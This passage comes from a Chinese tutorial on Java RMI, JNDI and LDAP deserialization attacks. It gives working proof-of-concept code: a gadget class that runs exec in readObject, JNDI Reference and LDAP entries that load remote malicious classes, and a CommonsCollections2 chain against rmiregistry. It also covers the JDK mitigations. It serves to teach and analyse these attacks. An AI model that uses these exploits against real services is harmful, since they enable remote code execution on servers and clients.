//也就是說，在這個遠程調用的過程中，我們可以想辦法，把參數的序列化數據替換成惡意序列化數據，我們就能攻擊服務端，而服務端，也能替換其返回的序列化數據為惡意序列化數據，進而被動攻擊客戶端。
Object var47 = unmarshalValue(var46, (ObjectInput)var11);
var9 = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
//釋放鏈接通道
this.ref.getChannel().free(var6, true);
var13 = var47;

所以總結一下有五條攻擊思路

服務端------->rmiregistry

客戶端------->rmiregistry

rmiregistry------->客戶端

客戶端------->服務端

服務端------->客戶端

客戶端攻擊服務端

接下來就一個一個來試驗一下，這幾條攻擊思路。

首先客戶端(遠程方法調用方)，對服務端(遠程方法服務方)進行反序列化攻擊，客戶端對服務端進行反序列化的攻擊關鍵在于傳遞的參數

那我們應該怎么來實現呢？我們來重新寫一個遠程方法的調用,(此處參考了知道創宇大佬的文章和代碼Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒（上），大佬的代碼地址https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)

首先我們先修改一下遠程方法服務方的代碼，為接口中唯一的一個方法添加參數，是一個Person類型。

package com.rmitest.inter;

import com.rmitest.impl.Person;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
public String sayHello(Person person)throws RemoteException;
}

看一下這個Person類的具體細節

package com.rmitest.impl;

import java.io.Serializable;

public class Person implements Serializable {
private static final long serialVersionUID = -8482776308417450924L;
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

就是一個簡單的pojo類，然后修改HelloImpl代碼實現。

package com.rmitest.impl;



import com.rmitest.inter.IHello;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements IHello {

public HelloImpl() throws RemoteException {

}

@Override
public String sayHello(Person person) {
System.out.println("hello"+person.getName());
return "hello"+person.getName();
}
}

然后將接口文件放到Registry項目中，記得包路徑要和在服務方的項目中的路徑一樣否則會爆ClassNotFoundException的錯誤，Registry項目中的IHello接口中的sayHello方法無需添加參數，因為rmiregistry在返回給客戶端Stub時，這個Stub中只有對應的服務端的地址，端口號，以及objID等信息，并沒有相關的參數信息。

Registry項目目錄結構如下

最后客戶端這邊，就只需要將Person類按照和服務端一樣的包路徑拷貝過來，在修改下IHello里sayHell方法的參數就ok了

package com.rmitest.customer;



import com.rmitest.impl.Person;
import com.rmitest.inter.IHello;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMICustomer {
public static void main(String[] args) throws RemoteException, NotBoundException {
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
Person person = new Person();
person.setName("hack");
System.out.println(hello.sayHello(person));
}
}

此時一個正常的遠程方法調用環境就搭建好了，按理說這種情況下是沒有什么反序列化漏洞的，但是如果說服務端的項目中存在一些已知的存在問題的類，例如Apache Common Collection。我們來模擬一下當服務端存在有存在反序列化問題的類時的情況。

package com.rmitest.weakclass;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Weakness implements Serializable {
private static final long serialVersionUID = 7439581476576889858L;
private String param;

public void setParam(String param) {
this.param = param;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}

這里的Weakness類只是用來模擬一個在反序列化是會進行高危操作的一個類，比起用Apache Common Collection會現顯得更加直觀。

同樣我們客戶端如果想要利用這個類來對服務端進行反序列化攻擊的話，那么客戶端自然也需要存在這個類。所以拷貝一份到客戶端，我們之前分析源碼的時候看到了，服務端會反序列化客戶端傳來的需要遠程方法處理的參數，這就是我們的攻擊點，

this.unmarshalCustomCallData(var41);
//從 ConnectionInputStream里反序列化出遠程調用的參數
//這里就是客戶端可以用來攻擊服務端的點，因為這里對遠程調用方法的參數進行了反序列化，由此我們可以傳遞              惡意的反序列化數據進來
var9 = this.unmarshalParameters(var1, var42, var7);

我們根據項目的源碼可以看到，這里傳遞的參數類型是一個Person類型，Person這個類型本身是沒有問題的，那我們要怎么實現讓服務端反序列化Person類時能調用Weakness類呢？

其實很簡單，我們只需要將客戶端這邊的Weakness類修改一下就可以了，我們讓Weakness繼承PerSon類就可以實現這個效果了，繼承了PerSon之后我們的Weakness類就是Person類型的了，這樣傳遞的時候Weakness類就可以被當作Person類來進行傳遞，表面上傳遞的是Person類型的參數，可實際上傳遞的參數確是Weakness類。

public class Weakness extends Person implements Serializable {
private static final long serialVersionUID = 7439581476576889858L;
private String param;

public void setParam(String param) {
this.param = param;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}

看一下客戶端這邊的實現

package com.rmitest.customer;



import com.rmitest.inter.IHello;
import com.rmitest.weakclass.Weakness;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMICustomer {
public static void main(String[] args) throws RemoteException, NotBoundException {
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
Weakness weakness = new Weakness();
weakness.setParam("open /Applications/Calculator.app");
weakness.setName("hack");
System.out.println(hello.sayHello(weakness));
}
}

可以看成功將Weakness類作為參數進行傳遞，我們之前說過，服務端在處理客戶端傳來的遠程調用信息時，是會調用UnicastServerRef.dispatch()方法的，會反序列化其中的參數

看一下調用鏈即可知

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
//最終在參數在 unmarshalValue 的var1.readObject()中被反序列化
return var1.readObject();
}
}

至此 我們實在jdk1.7_21的版本下以客戶端的身份去成功攻擊了服務端。

服務端攻擊客戶端

分析完了客戶端對服務端的攻擊，我們來看一下 服務端對客戶端的攻擊，根據第二章RMI流程源碼分析我們看到了，服務端如果想要攻擊客戶端，那么利用點就存在客戶端反序列話服務端的返回值的時候。這時候需要將環境稍微修改一下。

其實很簡單，先修改服務端的代碼，我們將IHello接口中sayHello方法需要的參數刪除，然后將返回值類型由String修改成Person類型。

package com.rmitest.inter;

import com.rmitest.impl.Person;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
public Person sayHello()throws RemoteException;
}

HelloImpl也根據接口的要求進行修改

package com.rmitest.impl;

import com.rmitest.inter.IHello;
import com.rmitest.weakclass.Weakness;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements IHello {

public HelloImpl() throws RemoteException {

}

@Override
public Person sayHello() {
Weakness weakness = new Weakness();
weakness.setParam("open /Applications/Calculator.app");
weakness.setName("hack");
return weakness;
}
}

同客戶端攻擊服務端時一樣，只不過這次變成了服務端這邊的Weakness類需要繼承Person類了。

然后客戶端這邊就修改完畢。

然后我們來修改rmiregistry這邊的代碼，同樣先修改IHello接口，然后我們需要將Person類拷貝到rmiregistry這邊，不過一般在生產環境中，rmiregistry和服務端一般都是在同一臺機器統一個項目文件里，所以服務端可以訪問的類rmiregistry同樣也可以。

緊接著就是就該客戶端這邊的代碼，同理Weakness類不再繼承Person

public class RMICustomer {
public static void main(String[] args) throws RemoteException, NotBoundException {
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
Person person = hello.sayHello();

}
}

如此一來就可以實現通過服務端去攻擊客戶端

根據之前的分析客戶端在遠程方法的調用過程中會在UnicastRef.invoke方法中對服務端返回的數據進行反序列化，看一下調用鏈

如此一來服務端通過RMI攻擊客戶端的方式也就清晰了。

服務端攻擊客戶端 2

上一小節講述的服務端攻擊客戶端的方式是通過返回值來進行操作的，這樣的話利用面比較狹窄，那么有沒有一種特別通用的利用方式呢？讓客戶端在lookup一個遠程方法的時候能直接造成RCE，事實證明是有的。

這里就要講到一個特別的類javax.naming.Reference，下面是該類的官方注釋

/**
* This class represents a reference to an object that is found outside of
* the naming/directory system.
*<p>
* Reference provides a way of recording address information about
* objects which themselves are not directly bound to the naming/directory system.
*<p>
* A Reference consists of an ordered list of addresses and class information
* about the object being referenced.
* Each address in the list identifies a communications endpoint
* for the same conceptual object.  The "communications endpoint"
* is information that indicates how to contact the object. It could
* be, for example, a network address, a location in memory on the
* local machine, another process on the same machine, etc.
* The order of the addresses in the list may be of significance
* to object factories that interpret the reference.
*<p>
* Multiple addresses may arise for
* various reasons, such as replication or the object offering interfaces
* over more than one communication mechanism.  The addresses are indexed
* starting with zero.
*<p>
* A Reference also contains information to assist in creating an instance
* of the object to which this Reference refers.  It contains the class name
* of that object, and the class name and location of the factory to be used
* to create the object.
* The class factory location is a space-separated list of URLs representing
* the class path used to load the factory.  When the factory class (or
* any class or resource upon which it depends) needs to be loaded,
* each URL is used (in order) to attempt to load the class.
*<p>
* A Reference instance is not synchronized against concurrent access by multiple
* threads. Threads that need to access a single Reference concurrently should
* synchronize amongst themselves and provide the necessary locking.
*
* @author Rosanna Lee
* @author Scott Seligman
*
* @see RefAddr
* @see StringRefAddr
* @see BinaryRefAddr
* @since 1.3
*/

簡單解釋下該類的作用就是記錄一個遠程對象的位置，然后服務端將實例化好的Reference類通過bind方法注冊到rmiregistry上，然后客戶端通過rmiregistry返回的Stub信息找到服務端并調用該Reference對象，Reference對象通過URLClassloader將記錄在Reference對象中的Class從遠程地址上加載到本地，從而觸發惡意類中的靜態代碼塊，導致RCE

我們使用JDK 7u21作為環境來進行該利用方式的深入分析

首先看下服務端的代碼

public class RMIProvider {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
//TODO 把resources下的Calc.class 或者 自定義修改編譯后target目錄下的Calc.class 拷貝到下面代碼所示http://host:port的web服務器根目錄即可
Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
//嘗試使用JNDI的API來bind，但是會報錯
//        Context context = new InitialContext();
//        context.bind("refObj", refObjWrapper);
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind("refObj", refObjWrapper);
}
}

可以看到在實例化Reference對象的時候會傳遞三個參數進去，這三個參數分別是

className

包含此引用所引用的對象的類的全限定名。(ps: 就是惡意類的類名或者全限定類名，經過測試該參數不是必須，為空也行，關鍵在于第二個參數 也就是classFactory)

classFactory

包含用于創建此引用所引用的對象的實例的工廠類的名稱。初始化為零。(ps: 第二個參數很重要 一定要寫惡意類的全限定類名)

classFactoryLocation

包含工廠類的位置。初始化為零。(ps: 也就是惡意類存放的遠程地址)

接下來就來跟入源碼看一看

public Reference(String className) {
this.className  = className;
addrs = new Vector();
}
........
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}

實例化Reference期間就只進行以上這些操作

實例化ReferenceWrapper的時候同樣只進行了簡單的賦值操作

public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}

接下來就是通過調用bind方法來將ReferenceWrapper對象注冊到rmiregistry中。客戶端bind Reference過程結束接下來看rmiregistry這邊

這里呢因為 jdk7u21 和 jdk 8u20兩個版本在調試的時候無法在RegistryImpl_Skel的dispatch方法上攔截斷點所以 暫時采用jdk 8u221版本來進行演示

同綁定一個正常的遠程對像的差別不大只不過綁定一個正常的遠程對象的時候，rmiregistry反序列化服務端傳遞來的結果是這樣的

而綁定Reference的時候rmiregistry反序列化服務端傳遞來的結果是這樣的

可以看到最終注冊完成后，二者的區別

普通的遠程對象是以一個Proxy對象的形式存在，Reference則是以ReferenceWrapper_Stub對象的形式存在

接下來來看客戶端調用Reference這個遠程對象的過程，客戶端的代碼演示環境為jdk 8u20

首先看下客戶端的代碼

public class RMICustomer {
public static void main(String[] args) throws NamingException {
//使用JNDI的方式來lookup遠程對象  
new InitialContext().lookup("rmi://127.0.0.1:1099/refObj");
}
}

其實jndi的InitialContext().lookup()底層和rmi自己的LocateRegistry.getRegistry().lookup()一樣都是調用了RegistryImpl_Stub.lookup()方法但是jndi在此基礎上又做了自己的封裝，例如在處理rmiregistry返回的ReferenceWrapper_stub對象時，二者的處理方式就不相同。

rmi無法處理ReferenceWrapper_stub對象，而jndi在接收了rmiregistry返回的ReferenceWrapper_stub對象后，結束當前lookup方法，在其上一層的lookup方法中也就是RegistryContext.lookup()方法里會對返回的ReferenceWrapper_stub進行處理

來觀察下RegistryContext.lookup()方法的具體內容

public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
//調用RegistryImpl_Stub.lookup()方法
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
//反序列化的ReferenceWrapper_stub對象在該方法中被處理
return this.decodeObject(var2, var1.getPrefix(1));
}
}

接下來再跟進decodeObject()方法之后

private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
//判斷返回的ReferenceWrapper_stub是否是RemoteReference的子類，結果為真，返回ReferenceWrapper_stub中的Reference對象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
//接著對Reference對象進行操作
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {

NamingManager.getObjectInstance()方法就是處理Reference對像并導致RCE的關鍵了

public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{

ObjectFactory factory;
......
//判斷并接收Reference對象
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
// 這里會將Reference對象傳入并且同時傳入全限定類名
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

根據觀察NamingManager.getObjectInstance()方法的內部實現，關鍵代碼在于這一段 factory = getObjectFactoryFromReference(ref, f);

跟進getObjectFactoryFromReference方法，

static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
//首先會嘗試使用AppClassloder從本地加載惡意類，當然肯定是失敗的
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
//獲取codebase地址
(codebase = ref.getFactoryClassLocation()) != null) {
try {
//該方法內會實例化一個URlClassloader 并從codebase中的地址中的位置去請求并加載惡意類
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

可以看到真正負責從遠程地址加載惡意類的是第二次的helper.loadClass(factoryName, codebase)

該方法的具體實現如下

public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
//獲取當前上下文的Classloader 也就是AppClassloader
ClassLoader parent = getContextClassLoader();
//實例化一個URLClassloader  
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
//去遠程加載惡意類
return loadClass(className, cl);
}

這就是服務端攻擊客戶端的另一種方式，雖然本質上還是有rmi去訪問rmiregistry獲取的Reference對象，但是由于JNDI對rmi進行了又一次的封裝導致兩者對Reference對象的處理不一樣，所以客戶端只有在使用JNDI提供的方法去訪問rmiregistry獲取的Reference對象時才會觸發RCE。

這個方法看上去好像很通用，在jdk 8u121版本之前確實如此，但是在jdk 8u121版本以及之后的版本中，此方法默認情況下就不再可用了，因為從jdk 8u121版本開始 增加了對com.sun.jndi.rmi.object.trustURLCodebase的值的校驗，而該值默認為false，所以默認情況下想要通過Reference對象來遠程加載惡意類的想法是行不通了，

我們來看一下jdk 8u121版本究竟為了防止遠程加載惡意類做了哪些改動

首先在還沒有通過rmi去到rmiregistry獲取Reference對象之前，在RegistryContext這個類被加載的時候就執行了以下的靜態代碼

static {
PrivilegedAction var0 = () -> {
return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
};
String var1 = (String)AccessController.doPrivileged(var0);
trustURLCodebase = "true".equalsIgnoreCase(var1);
}

可以看到這里獲取了com.sun.jndi.rmi.object.trustURLCodebase默認值為false

然后當執行進decodeObject()方法，并且準備執行NamingManager.getObjectInstance()方法之前多了以下判斷

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}

就是判斷了com.sun.jndi.rmi.object.trustURLCodebase的值，由于該值為false所以就會跑出異常中止執行

想要jdk 8u121版本能夠正常遠程加載就去要加上以下代碼

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

這樣就能又正常的RCE了

但是在JDK 8u191及以后的版本中客戶端lookup以前加上上面的代碼之后，從新執行會發現不報錯了，但是仍然無法RCE，這是為什么呢，我們繼續跟著源碼往下看

在通過了RegistryContext中對com.sun.jndi.rmi.object.trustURLCodebase的判斷并執行了NamingManager.getObjectInstance()方法之后，一路正常執行來到了關鍵的實例化URLClassloader并遠程加載惡意類的最后一步，然后你就會發現這里變了

public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
//此處有增加了一個對trustURLCodebase屬性的一個判斷，這個trustURLCodebase屬性和RegistryContext類
//中的trustURLCodebase屬性完全不同
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
}
}

我們來看下這個trustURLCodebase的值究竟是怎么獲取的

private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
"false");
} catch (SecurityException e) {
return "false";
}
}
}
);

這次獲取的是一個名稱為TRUST_URL_CODEBASE_PROPERTY的屬性值，也就是說我們需要將該值也設置為true才行

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//至于這個com.sun.jndi.ldap.object.trustURLCodebase這個屬性會在后續的JNDI Reference的LDAP攻擊響亮中講到。
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

也就是說 在jdk 8u191及其以后的版本中如果想讓 JNDI Reference rmi攻擊向量成功RCE的話 目標服務器就必須在lookup之前加上以上兩行代碼

由此可見在jdk 8u191及其以后的版本中通過這種方式來進行RCE攻擊幾乎不可能實現了。

服務端攻擊客戶端 3

在上一小節中通過使用JNDI 的Reference rmi攻擊向量進行RCE攻擊，根據網絡上大佬們提供的思路，除了使用rmi攻擊向量以外還可以使用JNDI Ldap向量來進行攻擊

話不多說直接上源碼，首先先看下Ldap服務端源碼

public class LDAPSeriServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main(String[] args) throws IOException {
int port = 1389;

try {
//這里的代碼只是在內存中模擬了一個ldap服務，本機上并不存在一個ldap數據庫所以程序結束后這些就都消失了
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
//向ldap服務中添加數據條目，具體ldap條目相關細節可以去學習ldap相關知識，這里就不做詳細講解了
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

} catch (Exception e) {
e.printStackTrace();
}
}
}

以上的代碼呢就是在本地起了一個ldap服務監聽1389端口，并向其中添加了一條可被查詢的條目。單起一個ldap服務肯定是不夠的，既然是ldap RCE攻擊向量，那就肯定要添加一些東西讓 客戶端在通過JNDI查詢該Ldap的條目之后轉而去指定的服務器上加載惡意類。

所以需要向該條目中添加一些屬性，根據知道創宇404實驗室的Longofo大佬的文章

public class LDAPServer1 {
public static void main(String[] args) throws NamingException, RemoteException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

Attribute mod1 = new BasicAttribute("objectClass", "top");
mod1.add("javaNamingReference");

Attribute mod2 = new BasicAttribute("javaCodebase",
"http://127.0.0.1:8000/");
Attribute mod3 = new BasicAttribute("javaClassName",
"ExportObject");
Attribute mod4 = new BasicAttribute("javaFactory", "com.longofo.remoteclass.ExportObject");


ModificationItem[] mods = new ModificationItem[]{
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
};
ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods);
}
}

這里是向之前創建好的ldap索引中添加一些屬性，客戶端在向服務端查詢該條索引，服務端返回查詢結果，客戶端根據服務端的返回結果然后去指定位置查找并加載惡意類，這就是ldap攻擊向量一次RCE攻擊的流程。

這里我們就要具體關注下JNDI客戶端是如何在訪問Ldap服務的時候被RCE的

首先客戶端代碼

public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}

lookup函數開始一直往下執行，執行到LdapCtx.c_lookup方法時，發送查詢信息到服務端并解析服務端的返回數據

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;

Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
//此處客戶端向服務端進行查詢并獲得查詢結果
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}

if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}

if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//將查詢的結果，也就是我們在server端所添加的那幾條屬性進行解析，并返回一個Reference對象  
var3 = Obj.decodeObject((Attributes)var4);
}
......
try {
//此后的操作就和rmi Reference一樣的通過實例化URLClassloader對像，根據Reference中的信息去遠程加載惡意類
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
......
}

關鍵點在于var3 = Obj.decodeObject((Attributes)var4)這行代碼解析完成后所返回的結果，如下圖所示。

然后在DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4)這行代碼中根據Reference中的信息 實例化URLClassloader去遠程加載惡意類。

這種方法一直到jdk 8u191之前的版本都是可用的，但是在之后的版本中同 JNDI rmi Reference一樣，添加了對com.sun.jndi.ldap.object.trustURLCodebase屬性的校驗，該值默認為false

服務端攻擊rmiregistry

接下來我們就要講通過服務端來攻擊rmiregistry了，和客戶端服務端互相攻擊的方式比起來相對復雜那么一些，確切的說是通過偽造一個服務端的形式，因為之前說這rmiregistry通常都和真正的服務端出在同一個主機，同一個項目上，根據我們之前對RMI流程的分析，服務端在通過bind方法向rmiregistry綁定遠程方法信息時，rmiregistry會反序列化服務端傳來的數據，在rmiregistry方處理服務端傳來的數據時會調用RegistryImpl_Skel的dispatch方法，其中會反序列化服務端傳來的兩個信息，一個是遠程方法提供服務的注冊名，另一個是封裝有遠程方法提供服務方信息的Proxy對象。

//獲取輸入流
var9 = var2.getInputStream();
//反序列化“hello”字符串
var7 = (String)var9.readObject();
//這個位置本來是屬于反序列化出來的“HelloImpl”對象的，但是最終結果得到的是一個Proxy對像
//這個很關鍵，這個Proxy對象即所為的Stub(存根)，客戶端就是通過這個Stub來知道服務端的地址和端口號從                而進行通信的。
//這里的反序列化點很明顯是我們可以利用的，通過RMI服務端執行bind，我們就可以攻擊rmiregistry注              冊中心，導致其反序列化RCE
var80 = (Remote)var9.readObject();

第一個String類型的數據反序列化我們沒有利用的思路，因為String是一個final類型，沒辦法繼承和實現，我們入手的點就只能是下面的那個 var80 = (Remote)var9.readObject();之前分析RMI流程代碼時有一個點沒有提到，就是bind方法在序列化一個遠程對象時會將轉化成一個proxy對象然后再進行序列化操作并傳輸給rmiregistry，序列化的proxy對像默認是實現Remot接口并封裝RemoteObjectInvocationHandler的，但是如果傳遞的遠程對象本身就是Proxy則不會進行任何轉化直接傳遞，由MarshalOutputStream對象的replaceObject方法來實現具體操作，代碼如下。

protected final Object replaceObject(Object var1) throws IOException {
if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
Target var2 = ObjectTable.getTarget((Remote)var1);//生成一個Target對象，其中有一個stub屬性就是轉化好的Proxy對象
if (var2 != null) {
return var2.getStub();//返回Proxy對象
}
}

return var1;
}

那么這樣以來，似乎攻擊的思路就突然清晰了，我們只需要找一個rmiregistry中可以利用的Gadget然后，ysoserial中的RMIRegistryExploit就是針對使用了版本低于JDK8u121的rmiregistry進行反序列化攻擊的一個工具。

此次的測試環境是jdk1.7_21，采用CommonCollection2作為payload來進行嘗試和分析。由于CommonCollection2封裝的過程中用到了

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

所以在rmiregistry這邊將commons-collections4引入

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

然后展示一下服務端這邊最終封裝完后的一個Proxy，服務端將這個Proxy序列化后 傳遞給rmiregistry，然后rmiregistry反序列化該數據從而出發漏洞執行命令

最終的調用鏈簡化一下，如下所示

AnnotationInvocationHandler.readObject()
HashMap.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown() 
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
Runtime.exec()

具體的反序列化過程就不做分析了

但是要注意一點就是jdk 8u121版本以后，在rmiregistry創建時不是有這么一段代碼么 this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));傳入了RegistryImpl::registryFilter作為參數，所以在rmiregistry這邊反序列化服務端傳遞來的Proxy對象時，是會進行對象的白名單校驗的，只有以下對象才能進行反序列化

String.class != var2 
&& !Number.class.isAssignableFrom(var2) 
&& !Remote.class.isAssignableFrom(var2) 
&& !Proxy.class.isAssignableFrom(var2) 
&& !UnicastRef.class.isAssignableFrom(var2) 
&& !RMIClientSocketFactory.class.isAssignableFrom(var2) 
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) 
&& !ActivationID.class.isAssignableFrom(var2) 
&& !UID.class.isAssignableFrom(var2)

但是我們在構造惡意類的時候使用的是CommonCollection2，registryFilter在反序列化完最外面的proxy對象后第二要要反序列化的就是AnnotationInvocationHandler，而AnnotationInvocationHandler根本就不在上面的白名單里所以自然會拋出異常

ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

這個白名單過濾機制也就是所謂的 JEP290, 就是可以通過實現ObjectInputFilter這么一個函數式接口的方式來自定義自己想要過濾的類，在使用了該機制以后，ysoserial中所有的gadget幾乎都不可用了,需要想辦法繞過這個白名單才行。

在以上的講解中，我們分析了 RMI客戶端，服務端以及rmiregistry之間的關系，也對三方之間的多種攻擊方式進行了詳細的介紹，希望大家在看完文章后可以自己在跟隨文章的步驟，手動調試一下這個過程，這樣可以加深大家對RMI，JRMP，以及JNDI的理解。

看完上述內容是否對您有幫助呢？如果還想對相關知識有進一步的了解或閱讀更多相關文章，請關注億速云行業資訊頻道，感謝您對億速云的支持。